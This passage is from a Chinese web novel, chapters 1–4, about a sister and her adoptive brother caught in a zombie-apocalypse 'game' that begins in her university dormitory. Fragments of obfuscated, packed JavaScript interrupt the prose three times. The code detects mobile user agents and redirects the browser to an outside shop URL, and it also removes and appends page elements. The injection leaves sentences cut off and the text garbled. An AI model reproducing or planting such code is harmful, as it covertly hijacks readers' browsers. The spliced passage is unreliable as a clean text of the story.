《末世兄妹的绑定体日常》 1. 兄妹 日暮时分,天空被染得鲜红。 校园内,人群三三两两走过,交谈的低语被一阵秋风吹散。阮时卿忍不住缩了缩脖子,将脑袋完全隐没在宽大的帽檐下,她的手上拿着刚从食堂买的煎饼果子,正赶回宿舍。 “叮——” “您有一笔新的转账待接收——” 她立马打开手机,发现是她那个怨种哥哥发来的。 成晏:[转账2000] 成晏:【缺钱怎么不跟哥说?100块就把你哥卖了,阮时卿,你最好给我一个解释。】 完了,他直接叫了全名,看来这次是真生气了。 阮时卿摸了摸冻得发红的鼻子,这事其实也不能怪她。前不久某位学姐因目睹了成晏来学校参加篮球联谊赛的精彩表现从而一发不可收拾,到处打听他的联系方式,都打听到她头上来了。 好巧不巧,那学姐还是她在任的学校部门部长,躲不起也惹不起啊,还以100块大洋为诱饵,她不上钩谁上钩。 不过阮时卿也有自己的理由,自从成晏上大学以后,他关心自己也少了,说不定早就暗中交过女朋友了。她作为一个“好妹妹”,帮他牵线搭桥,难道不是应该的吗? 想到这她烦躁地踢了一脚边上的小石头,刚准备回复他,就收到了他的新消息。 成晏:【又不好好吃饭,你是打算把自己饿出病来给医生增加业绩吗】 手指猛地悬停在屏幕上方,阮时卿瞪大了眼睛,他怎么知道自己吃的什么?! 成晏:【抬头,我在你宿舍楼下。】 阮时卿这才发现自己已经走到距离宿舍楼不到十米的地方,而给她发消息的人此刻好整以暇地靠墙站着,把手上塞得满满当当的包装袋提到面前,转瞬又放下,抬脚向她走来。 阮时卿没有躲,只是把手上的东西藏到了身后。等成晏走到面前站定,一米八的个子她要很努力地仰头才能望见他深邃的眼睛。 “你怎么进来的?门卫又被你收买了?”她率先开口。 “什么叫收买,哥哥来探望自己的妹妹,不是天经地义么。”成晏淡淡地瞥了一眼她的身后,伸出了没拿东西的那只手。 “干嘛……”阮时卿低下头,目光在那根根修长、骨节分明的十指上来回逡巡。 她又从他身上闻到了她很喜欢的那款沐浴露的味道,和她用的是一样的。 “手给我。” 没等阮时卿反应,成晏就不由分说地捞过她的手完全裹在掌心,滚烫的温度透过相触的肌肤源源不断地传来。几个月没见,他手上的茧好像又厚了一层,蹭得她有些痒。 “这么凉,也不知道多穿点衣服。”成晏自然地牵着她的手往校内咖啡馆走,“外面风大,先找个地方坐下吃点东西。 “顺便谈谈你最近的壮举。” 他高大的身形挡住了左前方大部分风力,阮时卿莫名觉得身体发热。 “哥,你怎么突然有空……”她说。 成晏顿住脚步,身体微侧,却没有看她,“我一直都有空。是你总不记得找我。” 骗人,明明之前还说忙着训练,也不知道一天到晚在训什么,一问就说是机密。阮时卿在心里默默吐槽。 校园咖啡厅内,他们找了个安静的角落坐下。 “喏,给你带的,就知道你不好好吃饭。” 几个精致的饭盒被成晏拿了出来放到桌上,正往上扑腾着热气。阮时卿立马接过打开,有红烧鸡翅、小炒牛肉、水煮白菜……都是她爱吃的那几种家常菜。 “你做的?”她眨了眨眼睛。 成晏看了她一眼,似有叹息,“吃了这么多年我做的饭了,还看不出来?” 阮时卿讪讪一笑,直接忽视了他那种“算我白养你了”的眼神,大快朵颐起来。 “瘦了。最近很忙吗?”他问。 “没有。” 成晏像是还要说些什么,看着她努力扒饭吃得正香的样子,最终还是把话咽了回去。手机被他打开又关上,像是看见了什么烦人的东西,面色微沉。 不久后,阮时卿刚把筷子放下,就感受到了一股灼热的视线。 “为什么要把我的联系方式给别人?” 他的声音很平静,不像平时那种带笑的腔调,总是或多或少有起伏的。 她太了解他了,这种时候他一定是压抑着什么,在生闷气。 “你也没说不能给嘛,我也是好心……”阮时卿不敢直视他,低声辩解。 成晏气笑了,“好心?你管这种陌生人的骚扰叫好心?她加我是为了干什么你不知道吗?” “我知道啊,想要追你嘛,你不喜欢删掉不就行了。干嘛冲我发这么大火?”阮时卿的犟脾气上来了,声音也大了几分。 不是她不愿意道歉,只是心里憋屈,成晏以前还从来没有这样因为别人质问过她,她有点被惯坏了。 她说完这句对面久久没有话音。阮时卿试探着抬起头,看见他眼眸低垂着,像是被刺痛。 成晏深吸一口气,嘴角勉强牵出一个极微小的幅度,“好,对不起。是我不对,我不该这么跟你说话。” 阮时卿突然觉得索然无味,手指无意识扣着衣服上的绒毛,心口那股闷钝的感觉反而越来越强烈了,也许她要的不是他的道歉。 但她也说不上来,她难过的究竟是什么。 “那你呢?”成晏话锋一转,又直直地看向她,咬字也重了些,“为什么专业分流不告诉我?为什么感冒发烧要自己一个人扛着?为什么放假不回家只跟奶奶说?为什么……要躲着我。 “我不是你的哥哥么?” 说到最后,他其实已经无所谓那些问题的答案。他在意的只有一件事,“哥哥”这个身份,在她心里的份量到底有多重?亦或者,有多轻。 阮时卿眼眶红了,她不敢直视他的眼睛,只能透过边上玻璃窗里的倒影去看他,外面的天色已经暗了,一盏夜灯正好亮在他的眉心。 一圈圈朦胧的光影游弋开来,都快把他的影子照得看不见了。 是赌气吗?她也说不清。 成晏已经毕业了,离他上大学那会,已经过去五年了。前两年成晏还是会每天打电话过来,之后就逐渐变成两天打一次,三天打一次,一周打一次……后来越来越忙,他回家的时间也越来越少。她每天都在期盼,那个人什么时候回家。 也许是年纪小,天真青涩的视角下只看得到最能牵动心绪的结果,以至于当时的她很少去考虑背后现实的因素。是每个辗转难眠的日夜提醒她—— 小鸟长大了要试飞,孩子长大了要独立,更遑论兄妹呢?日渐疏远,成为最熟悉的陌生人,是注定的结局吧。 她只是在主动适应而已。 一阵温热的触感从眼睑下方传来,阮时卿回过神来,发现成晏拿着柔软的纸巾轻轻抹了抹那个地方。 “我以为你哭了。”他说。 阮时卿愣了愣神,一把推开他的手,“我不要你管!” 她清楚地看见那张纸巾被他的五指攥得变了形,长长的羽睫扑闪着,遮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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尽管他们并没有血缘关系。 心里那股劲来得快,去的也快。阮时卿的手指悬停在屏幕上方许久,却没有打下一个字。 她好面子,一向不是那个率先低头道歉的人。但成晏是,至少以前是,哄她这种事,他早已拈手就来。 但他没有。 【不用回。】 那是他发的最后一条消息。 她怔怔地看了许久,聊天框再次陷入沉寂,背景是他们俩在中学时期的合照,她靠在成晏的肩上一边对着镜头比耶一边去捏他的脸,而成晏则笑着捏她的鼻子。 他总是这么了解她。 手机被她关机倒扣在桌上,再也没打开过。 那天晚上,她怎么也睡不着,脑子里反反复复都是他的脸他的话他离开时的背影,像走马灯一样闪过。 挣扎了半夜,阮时卿终于有了一点睡意,之后便不省人事。 与此同时,血月吞噬了两侧浓沉的云,宛如一只巨大的眼睛,诡异地凝视着即将破碎的人间。 【全球人类同步载入……】 【欢迎来到末日游戏——】 【副本类型:丧尸末日】 【副本难度:C级】 【通关条件:存活七天】 【玩家代号005<阮时卿>身份已录入,祝您游戏愉快!】 2. 夜半 “嘎吱——” 一阵窸窣的啃食声在死寂的深夜放大了数倍。好像有人在吃零食,还配上了饮料,液体吞咽后划过喉间咕噜噜地响。 阮时卿猛地睁开了眼睛,世界一片昏暗。 那冰冷的机械音也太真实了。什么游戏,什么末日?她已经很久没做这样的梦了,隐隐还有些兴奋。 “啪”的一声,宿舍里又传来骨头被掰断的声音,夹杂着血肉在唇齿间撕扯的劲道。阮时卿烦躁地揉了揉太阳穴,怎么还有人深更半夜吃东西?动静还不小。 多一事不如少一事,她不想和舍友闹矛盾,只能等等看这个人会不会自觉停下来。 砸在窗上的风荡了数个来回,有人用指甲在不知道哪里的墙面上刮扣,舍友翻身引起床板的吱呀,天花板上传来沉闷的脚踏…… 无数杂乱微小的声音交错钻进了耳朵,时刻拨动着她敏感的神经。 她的听力好像变得异常敏锐。是注意力高度集中的结果吗? 阮时卿摸着黑拿到手机,拨开了额前的碎发,定睛一看——凌晨3:30。 【您有一个未接来电。】 这条通知显示于五分钟前。 她皱了皱眉,点开电话,发现是成晏打来的。 这个点打给她,是不是有什么急事?还是……他一样也睡不着? 犹豫了半天,她点开和他的对话框,发送了一条消息,结果发不出去。 【您现在处于无网络无信号状态。】 她才发现手机顶部的那个信号角标上是一个大大的叉。 “啊——!” 一阵不知道从哪里传来的凄厉尖叫划破表面的宁静,整栋楼开始躁动不安。 阮时卿立刻拉开了封闭的床帘,还把手机的灯打开直接对准了床下。她住上铺。 拉开床帘的那一刻,浓重的血腥味铺天盖地袭来,腥得让人作呕。 一双猩红的眼睛暴露在明亮的灯光下,没有瞳孔,但面朝她。 阮时卿吓得把手机一扔,死死地捂住嘴,不断往后挪,直到看不清地面。 她认得那双眼睛,是住在靠门右侧下铺的舍友,人很和善,不可能露出那样的目光。 一股断断续续的不正常的低吼压抑着从那人的嗓子里溢出,伴随着笨重的脚步拖拽,离阮时卿的床位越来越近。 这是什么?丧尸吗? 所以那个所谓的“末日游戏”不是梦,竟然是真的?还是说她在做梦?! 脑子里闪过无数部看过的丧尸片,结果此刻真的遇到了反而不知道该怎么应对。 别慌别慌……不是说自己一个人也可以吗?阮时卿强迫自己镇定下来,身体却还是在不停发抖,心跳快得像是要从嗓子里蹦出来。 用刀?不行,水果刀太小,不好攻击,用东西砸?可是床上没什么大体积的硬物啊,怎么办?! “咚咚——”一阵有规律的细微响动从隔壁床的金属杆上传来,有人在敲! 她探出头,借着窗外透进来的微弱的月光打量旁边。 舍友陈韫也醒了,她指了指费力顺着梯子往上爬却因笨拙不协调的肢体怎么也爬不上来的“丧尸”,又指了指对面床帘完全封闭的床铺——那是另一个舍友闫梦的床位,好像在示意什么。 阮时卿懂了。她们宿舍原本有六个人,这学期一个人转专业搬走了,剩下的五个里三个住在上铺,两个住下铺,其中一个变成了现在的“丧尸”,而另一个……很有可能成了她口中的食物。 也就是说,现在寝室里活着的人大概只剩下她、闫梦和陈韫。她和陈韫的床位在东侧,闫梦的在西侧。现在阮时卿吸引了丧尸全部的注意力,并且它的四肢不协调,爬不上来。 她们可以利用方向打造丧尸的盲区! 它看似恼羞成怒,开始用头使劲撞击倾斜的梯子。整个床铺被撞得摇晃起来,那股血腥味也越来越刺鼻。 “闫梦!醒醒!”阮时卿大声喊道。 这一喊,让丧尸更加确定了目标,变本加厉地撞击起来。 闫梦那边不知道是什么情况,至今床帘没拉开,里面也没有半点响动。就在她们一筹莫展之际,床帘终于被拉开了。 “怎么了?”闫梦摘下耳罩,面前的电脑还停在游戏刚结束的胜利结算画面,看起来十分亢奋,丝毫没有熬夜的疲惫。 阮时卿&陈韫:…… “我去!你们在玩cosplay吗?!”闫梦被眼前的景象吓了一大跳。 阮时卿没时间和她解释,大吼一声,“下来!去把阳台的玻璃门打开然后躲起来!” 她在赌。 赌丧尸在夜里视力不好,会受听觉干扰,也赌闫梦有这个胆量和勇气。 闫梦却像是被吓傻了,看着满地的血和残肢发呆。 “铿——咚——”阮时卿用上了之前固定墙上置物架的小锤子,使劲敲着床栏,吸引丧尸所有的注意力。 终于,闫梦动了,她小心翼翼地爬下床,丧尸没有注意到她。 通往阳台的玻璃门被打开了! 阮时卿赶紧招手让她躲起来,却没想到地上的血迹太多,闫梦脚下一个不慎朝旁边摔过去。 吹进阳台的风呼呼地涌进来,闫梦顺势扶住了床下桌,像一条泥鳅一样迅速窜进了桌子底下。 好灵活。 丧尸顿了顿,继续撞击,梯子被它砸得凹进一个大坑,整个床铺开始呈现一个向下的倾斜姿态。 阮时卿深吸一口气,嘴里不停默念着“用成晏一辈子单身换自己的好准头”! “咻”的一声,她手中的小钉锤在空中划出一道利落的弧线,却没有直接落到阳台前的空地上,而是先砸在玻璃门上一个反弹才掉落在地。 所有的声音都停了。 阮时卿好像感觉不到自己的呼吸。 “嗬嗬——”低哑的嘶吼散溢出来,丧尸歪了歪脑袋,脖颈处的骨头发出错位的嘎嘣脆响。 在所有人惊恐的注视下,它缓缓转身,极其不自然地走动起来,像是在寻找猎物的气息。 闫梦死死地捂着嘴,又把自己往桌子里面挪了喏,直到一屁股撞到墙上,吞下吃痛声。 她看见丧尸的脚停在了桌前,绝望地闭上了眼睛。 如何呢,死前最后一把MVP,也算无憾了。 然而它的脚步只是顿了一下,路过了闫梦,继续朝阳台走过去,等她再次睁眼的时候,它已经置身于阳台里了。 “关门!快!” 几乎是在阮时卿喊出来的同时,闫梦就起身钻了出来,猛地握住把手将玻璃门一举带上!隔绝了丧尸的反扑和那令人作呕的面孔。 所有人都松了口气。 “干得好!”陈韫率先爬下梯子,走过来拍了拍闫梦的肩膀,然后将玻璃门旁的帘子拉上,室内再次陷入一片伸手不见五指的漆黑。 闫梦腿都吓软了,背靠着玻璃门滑坐在地,把头埋进膝间,再也不见那股打游戏时的亢奋,只剩下无穷无尽的疲惫和心力交瘁。 她觉得自己已经死过一次了。 假如刚才真的摔倒了,假如关门慢了半拍,只怕现在已经死无全尸了。 到底怎么回事?! “你们都听到那个声音了吧,丧尸副本,末日游戏。”阮时卿最后一个下来,冷静地对所有人说。 闫梦和陈韫都听到了她的声音,却因太黑看不清彼此具体的位置,过了十二点宿舍统一断了灯。 “我有小夜灯,在床上,我去拿。”陈韫接着说,然后抬脚朝自己床铺的方向走过去。 “等等!别去!” 陈韫刚走没几步就被阮时卿猛地拽了回来。 “砰”的一声,她刚才走过的位置被一个重物狠狠地一撞!却扑了个空,撞到了通往上铺的梯子上。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889992|192207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >不知道是谁的手机打开了灯,明亮的光束照到了一张被咬掉了半张肉的人脸,空洞的眼眶黑漆漆地注视着光的方向。 是被刚才那只丧尸“吃掉”的住下铺的舍友。 “我靠!”陈韫忍不住爆了粗口,搬起身边的凳子就朝前面砸过去,却引起了丧尸更兴奋的嘶吼。 它朝这边猛地扑过来。 阮时卿一把将身前的陈韫推开,然后拿起早就准备好的衣服张开套住它的头。它发出一声沉闷的不甘嘶吼,两条手死死地掐住了她的脖子,阮时卿双脚离地,整个身子都被提了起来。 “呃!过来……帮……” 丧尸的力气太大了!不亚于一个天天健身的健康成年人的完全肌肉力量,阮时卿涨得面色通红,感觉脖子快断了。 “啊啊啊———!” 只听一声几乎力竭的呼喊,陈韫和闫梦合力用凳子的腿部冲向丧尸的腹部,将其逼得连连后退,直至背部抵墙,张牙舞爪地扑腾。 阮时卿捂住嗓子猛地一顿咳嗽,大口大口喘息起来。但她来不及休息太久,那边丧尸几乎又要挣脱控制。 “你们……再坚持一下!”她朝那边喊道。 她瞄准了柜子里的跳绳,一把扯了出来,然后冲了过去。 先是就着衣服绕着脖子转了几圈,然后从它的腋下穿过绕过手臂再绕到另一条手臂,然而丧尸像是意识到什么,挣脱的力度更大了,阮时卿光靠手臂力量根本不够把绳子两端合上。 后方的闫梦着急地四处张望,指了指床上的栏杆,“用那个!” 阮时卿眼前一亮,立刻将余下的一大截绳子绕过栏杆绑来一个死结。 这下丧尸被彻底捆缚起来,无法行动,只能不甘地发出令人头皮发麻的低吼。 几乎所有人都力竭,不禁抹了一把细汗。 “时卿,你没事吧?”陈韫最先反应过来,担忧地看向阮时卿,毕竟刚才是她将她拉了回来,她心里很感激。 “没事,没受伤。” 阮时卿说完有些吃力地爬上梯子打开了床上的吊灯,让暖黄的光晕照亮了整个宿舍,同时照亮了地上一整片狼藉。 众人一时分不清自己是在“家”还是“地狱”,空气诡异地静默了一瞬。 “你刚刚……是怎么知道她会在那里?”陈韫不解地问道。 闫梦也看了过去,她也很好奇。 “听到的。她起来的时候有声音。”阮时卿靠在桌前,凌乱的头发散落下来遮住疲惫的面色,声音还有些嘶哑,“你们都没听到吗?” 闫梦和陈韫对视一眼,茫然地摇了摇头。 “先别管这个了,你们现在打算怎么办,要出去看看吗?”阮时卿面色凝重。 宿舍门外纷乱的脚步声就没停过,夹杂着令人惊悚的低吼,当然宿舍内也不完全安全,那只被捆住的丧尸还是个隐患。 “不知道,”陈韫叹了口气,“现在上不了网,打不了电话,无法和外界联系。看来那个所谓的末日游戏是真的。” “我好想给家里人打个电话啊,不知道他们怎么样了。”闫梦说着竟哽咽了起来。 没人回应她。 因为她们不约而同地想到了同一件事,却也因同一种痛苦而难以将自己摘开,冷静地回答。 阮时卿想到了成晏,想到了那通没有打通的电话。他是不是,那个时候就已经察觉到了危险,所以才要确认她的安全? 明明他们晚上才刚吵过一架,才刚刚说过不再需要他。 她难受地抹了一把泪,起身对大家说,“现在还不知道外面是什么情况,估计都一样乱,晚上行动也不安全,我建议大家都先待在宿舍休息,等白天再做决定。你们觉得呢?” 陈韫和闫梦都同意。 “砰——” “砰砰砰——” 宿舍的门突然受到一股未知的巨大外力,不安地颤动起来! 3. 和解 撞击声还在继续,又闷又重,像大块头卯足了劲砸了过来,绝对不是普通的敲门或者不小心磕碰。 宿舍门是钢制防盗门,外表看起来很结实,但平时大风一吹就响个不停,谁也不知道能不能扛住。 “谁啊?!”闫梦惊吓出声,随即被阮时卿捂住了嘴。 “不是人。”她用口型对大家说。 陈韫第一个动了起来,她把角落里自己的行李箱快速搬出,横向摆放堆到门口。闫梦见状立刻效仿,推了第二个行李箱,还堆了一些其他杂七杂八的东西,桌上能看见的都拿来了。 最上面那层全是书,最厚的那本“Python编程:从数据分析到数据科学”已经积了很久的灰,没想到这时候派上了用场。 闫梦一回头,发现阮时卿不知道从哪里拿了块布塞进了那只丧尸嘴里,堵住了烦人的嘶吼,宿舍里一时间安静许多。 “你们有刀吗?” “我只有两把水果刀,你要吗?” 陈韫点点头,接过了阮时卿递过来的刀紧紧握在手里,冷汗淋漓。 闫梦则把角落里的球棒捡了出来,战战兢兢地挡在身前,手抖个不停。 “要真是游戏,也太mean了,道具都不给一个。”她忍不住小声吐槽。 “实在不行,咱们等会躲到床上去,把床帘拉好,看情况再——”阮时卿的声音戛然而止。 陈韫和闫梦立刻朝她看过去,发现她肩颈线紧绷,双眼微睁,透着一股茫然,“怎么了?” “我好像听到了……”她怔怔出声。 “听到什么?” 阮时卿该怎么解释? 外面纷乱无章的声音里,她敏锐地捕捉到了一阵急促敏捷快得像飞奔的脚步,稳得像有规律的鼓点,正迅速朝这边赶来?! 一声重物落地,外面重新归于平静。 宿舍门已经被撞得些微变形,此刻却安静得不可思议,变数不过分秒之间。 所有人都屏住了呼吸,不敢轻举妄动。 随后三声轻叩响起,“卿卿,是我。” 那声音透过门板传来,有些失真,沉闷得像鼓胀到极限的气球,却让阮时卿浑身瘫软,热泪盈眶。 好像是终于找到一个可以不用再强撑的借口,所有的软弱无力倾泻而出。 “是谁?时卿,你认识?” “把门打开!是我哥!” 陈韫和闫梦没有多说什么,立刻把堵着门的东西全部搬开,一个身着便服的高大男人带着一身寒气走了进来,手腕绑着厚厚的绷带,周身充斥着浓郁得散不尽的血腥味,一具看不清模样的尸体倒在其身后。 他眉眼标致,鼻梁高挺,下颌紧绷,一双锐利的眼睛在触到某个人的那一刻瞬间柔软下来,转而浮起担忧。 似乎是有旁人在场或心里还有些别扭,阮时卿没只是愣在那,手里的刀放也不是扔也不是,眼眶里的泪还在打转。 是成晏率先走了过去将她揽进怀里,力度很大,也很克制,只是虚拢在她腰身。 他里面的衣服是干净清爽的,阮时卿还能闻到晒过太阳后暖洋洋的味道,她没有挣脱,反而撒娇似的蹭了蹭,很快洇湿了一小块布料。 陈韫和闫梦都识趣地别开头,没事找事干别的去了。 “受伤没有?”无奈的声音从头顶上传来,略显疲惫。 阮时卿不答反问,悄悄攥紧了手指,“不是说不管我了么。” “不管你会第一时间赶来看你?不管你那现在抱着你的人是谁?嗯?” 成晏轻轻拉开两人之间的距离,用掌心在她头顶揉了揉,“小气坛子。” “才不是!” “哦,那为什么不敢看我?” 阮时卿抬起头来,本想瞪他一眼,结果看见了他手臂上一条狰狞的伤口,立刻皱起眉头,“这是怎么回事?你受伤了?” 成晏只是淡淡地瞥了一眼,把袖子往下拉了拉,刚好遮住伤口,“跑得太急,不小心蹭到了。没什么大事。” 不知道看见了什么,他的眼神暗了暗。 阮时卿刚要去拿创口贴,下巴就被他强硬地抬了起来。 “你干嘛?”她不解地抬头,发现成晏的目光并没有落在她的脸上,而是脖颈处。 糟了!那里之前被丧尸抓过,估计留下了印子。 他没说什么,摘下了手套,温热的指腹贴上红痕处轻轻摩挲,阮时卿觉得有些痒。 “疼吗?”没等回答他又问,“谁干的?” “刚才那只丧尸冲过来,我们都吓傻了,是时卿冲了上去救了大家!虽然没被咬到,但被掐得够呛。”闫梦没想那么多,直接替她回答了这个问题。 “不用说这么详细的其实……也不是很疼。”阮时卿缩了缩脖子,有种不太好的预感。 她本以为成晏要骂她一顿,结果只是听到了一声叹息,和一声意味不明的道歉。 “对不起。” 阮时卿不解地看他。 “我们卿卿真的长大了。”成晏勉强牵出一丝微笑,目光中不知道是欣慰还是别的什么,“但是,下次记得喊哥哥。” 他说完便松开了她,转身看向其他两人,“你们好,我叫成晏,是她的哥哥。” “久仰大名。我叫陈韫。” “你好你好,我叫闫梦,我能叫你什么?成哥行吗?” 成晏点头,表情没什么变化,“随意。” “你们都有听到系统提示吧?不管是不是恶作剧,当务之急首先就是活下来。”他的面色有些凝重。 “我刚从校外赶过来,对外面的情况还算了解,目前末日刚刚爆发,丧尸多盘踞在室内。外面虽然乱但人少。我还观察到,夜间丧尸视力不好,现在行动是最佳时机。” 他顿了顿,继续道,“像学校这种人口集中的地方,很不安全。我打算现在带着卿卿离开。” 阮时卿十分茫然,“啊?哥,去哪?” 成晏只是捏了捏她的手心,没有回答。 “那哪里比较安全?”陈韫问道。 “我不知道。听说上面准备在西南侧水库附近设立基地,你们可以去看看。”成晏十分认真地回答,“如果打算留在校内的话,那就准备充足的物资,最好待在宿舍,不要出去。” “你们真的要现在就走吗?”闫梦十分担忧地看了看被床帘盖住的夜色,“我……” 她其实也想走,但不知道为什么,她莫名有点害怕眼前这个男人,总觉得他没有表面上看上去那么简单。 “注意安全。”最后她还是只说了这句,以后只怕万水千山再难一见了。 “你们也是,都要好好活着!”阮时卿和她们告别。 走之前,成晏帮她把东西都收拾好了,都装在了她那个绿色的背包里,然后用外套口罩帽子把她裹得严严实实,手腕用布条绑了好几圈,只露出那双水灵灵的眼睛,呆呆地看着他。 “好了,出发。”成晏轻笑一声,拍了拍她的脑袋,然后牵着她的手走向门口。 阮时卿被裹得浑身发热,脑袋晕乎乎的,结果一个冰凉的冷硬物体被塞进了她的口袋。 是枪! 她震惊地看向成晏,对方低下头来凑在她耳边说,“等安全了教你怎么用。” 她本来想问你哪来的,但是话到嘴边又收了回去。她太了解他了,他不想说的能有几十个借口岔开话题,说不定还会借机自夸一把。 像小时候那样,一有个什么新奇玩意他就会拿过来给她看,然后骄傲地问“哥哥厉害吧?” 厉害—— 个鬼。她现在真的很不想承认小时候那个跟在他身后把他当偶像崇拜的小女孩是自己。 虽然他总说那时候的她特别可爱。 难道她现在就不可爱了吗?她半开玩笑地反问,却没得到他的回答。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889993|192207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这时脑海里突然再次响起系统提示音—— 【检测到特殊绑定体玩家代号005<阮时卿>和代号006<成晏>】 【绑定体说明:双方将始终在同一时间进入、离开、结算同一个副本,无法被强制分离或单独传送,一方死亡除外。绑定原因:未知。】 阮时卿极其缓慢地眨了眨眼睛,身旁的人同样顿住了脚步。她抬起头,发现他正看着另一边的某个方向,像是刻意避开她的目光一样。 不知道是不是她的错觉,他的唇角正抑制不住地上扬,等她仔细看的时候又被压了下来,和平常没什么两样。 “这下我们分不开了。”成晏偏过头,煞有介事地说。 “说得好像我很想和你分开一样。” 成晏轻笑一声,握着她的手紧了紧,声音低哑下来,“那我可不可以理解为,你想一直和我在一起?” 阮时卿涨红了脸,“你这是过度解读!哪有哥哥和妹妹一直在一起的……” 成晏脸上的笑容淡了些,帮她把帽子边缘又理了理,“没有就没有,你急什么,果然还是那个一逗就脸红的小朋友。” 阮时卿懒得理他,想了想,岔开了话题,“你就不好奇我们为什么是绑定体吗?” “好奇,但说不定就是系统随机组合。”他说完从包里拿出一条项链,上面挂着的却不是普通的装饰品,而是由紫檀木做成的哨子,仔细看上面还刻了一个清秀的“卿”字。 “头低一下。” 阮时卿照做,脖子上很快多了个东西。 哨子表面被他打磨得光滑如镜,细密的木头纹理像是岁月垂首刻下的年轮,也像他们过去十载彼此纠缠的时光印记。 “这个本来是准备送你的生日礼物,现在特殊情况,就提前拿出来了。”成晏的手指还停在“卿”字上,十分轻柔地触摸其一笔一划,“以后只要你一吹响它,我就能听到。” “为什么要送我这个?” “卿卿,你知道那通电话打不通的时候我在想什么吗?”他的声音突然沉了下去,气氛也在此刻变得压抑。 阮时卿想起了那通电话,应该是游戏刚刚降临的时候为了确认她的安全打来的。只不过这跟哨子有什么关系? 冰冷的触感突然从脸侧传来,她一个激灵回过神来,原来是他的手指。 “我在想,你需要我吗?你会想到我吗?你会第一个拿起手机打给谁?没有了手机,没有了智能通讯,是不是我就和最普通的陌生人一样,无足轻重? “嘴上说着管你,其实你做什么我都不知道,我也什么都做不了。” 成晏松开手,有些自嘲地笑了笑,“我想给你的,和你需要的,好像总是存在着我看不见的错位,所以你才会厌烦,才说不要我管你。我都想明白了。” 阮时卿突然很想辩解什么,可是思绪太乱太杂,一时不知道从何说起,只能都哽在喉咙里,眼里泛起湿润的光。 成晏并没有想得到她的回答,重新揽过她的肩膀,语气十分认真,“以后无论遇到什么情况,无论我在不在你身边,我都希望这个哨子能成为我们之间独一无二的联系。吹响它的时候,我就会把它当做你还要我的证明。” 原来他还在对那番话耿耿于怀。原来不止她一个人想着怎么靠近彼此,又想着怎么疏解近年来愈来愈冷的关系。 可这又岂能是三言两语就能说清的?现在的情况又那么复杂。 “好,那我收下了,哥。”阮时卿没有多说什么,只是拢紧了他的五指,握得更用力了些,她想他应该明白她的意思。 成晏点点头,小声嘱咐,“等会出去以后,一切听我指挥,尽量不要出声,好不好?” “好。” 他们出来的时候,天边刚刚泛起鱼肚白,乌云散去,明亮的光线被人用指尖捻开,涂抹在和往常无二的城市上空。 几声不合时宜的枪响,惊得人耳鸣。 4. 噩梦 枪声短促,听着像是从校外传来的。 末世后,一切社会约束的规则崩塌倾倒,也给了混乱暗黑滋生的契机,枪这个被严格管控的武器,终于得见天日。 阮时卿想到成晏给的那把枪,忍不住看向身前的人,结果他只是全神贯注地观察着周围的环境,没什么反应。 一开始的纷乱已经归于平息,走廊里除了几具看不清模样的尸体再没有其他,其他宿舍门大多紧闭着,传来三两声模糊的嘶鸣。 声控灯是关的,天还没有完全亮,他的脚步放得极轻,另一只手掏出了一把锋利的匕首,习惯性地放在身前,摆出一副防御的姿态,熟练得像是做过了千百次。 成晏只是朝楼梯间看了一眼,然后带着阮时卿贴着墙飞快地跑到三楼转角,停了下来。暗黑的楼道里,阮时卿只能看见几个晃动的影子。 “站在这里不要动,我去解决。” 说完他便悄无声息地下到二楼,那游荡的丧尸像是嗅到活人的气息,猛地转身冲过来。 阮时卿躲在角落,几乎什么也看不清,听觉在此刻极其敏感。一阵又闷又重的肢体碰撞后,她听到了匕首刺入皮肉的“噗呲”声。 然而更令人头皮发麻的是,一只手拽住了她的脚踝,手心还带有余温。 “救……我……” 她猛地低头,看向声音来源处——一个身穿睡衣的长发女孩正诡异地扭着错位的骨骼挣扎着站起来,唯一一只露在外面的眼球不受控制地翻白。 视觉刺激太过强大以至于阮时卿当即就叫出了声,抬起脚踹了过去。 “怎么了?!”成晏这边一个格挡反击将另一只丧尸击退,随即转身上楼。 那“女孩”纹丝不动,她的手猛地扣住阮时卿的肩膀,张开血淋淋的嘴扑了过来,却猝不及防地被塞进了一个冷硬无比的东西。 是枪! 阮时卿见反抗无用,慌不择手就把口袋里的东西不管是什么一股脑地拿了出来怼到对方脸上。 那枪身无比坚硬,任丧尸咬合力再强大顶多也只留下了一道浅浅的印子,尽管如此,阮时卿觉得自己也撑不了多久,手被顶得阵阵发麻,不断后退。 “砰——!” 一股巨大的冲击力从身侧袭来,丧尸被砸得身形一歪,手也不禁松了力气,阮时卿趁机挣脱,转瞬被人拥进怀里。 他的肌肉是僵硬的,身上沾着各种混杂的血腥味,她能听到频率快得不正常的心跳声。 “拿着。”一根长度正好的钢棍被塞进了她的手里,成晏转身朝前走去,动作快得几乎看不清,阮时卿只记得最后那插进头颅的狠戾一刀。 干净,利落,果断。 她要感谢那时足够黑的楼道,让她看不清成晏的表情,不用在短时期内连续经受好几次刺激的心脏再次直面恐惧和猜疑,并在暗中设下防线。 “哥,我听到楼上有声音!” 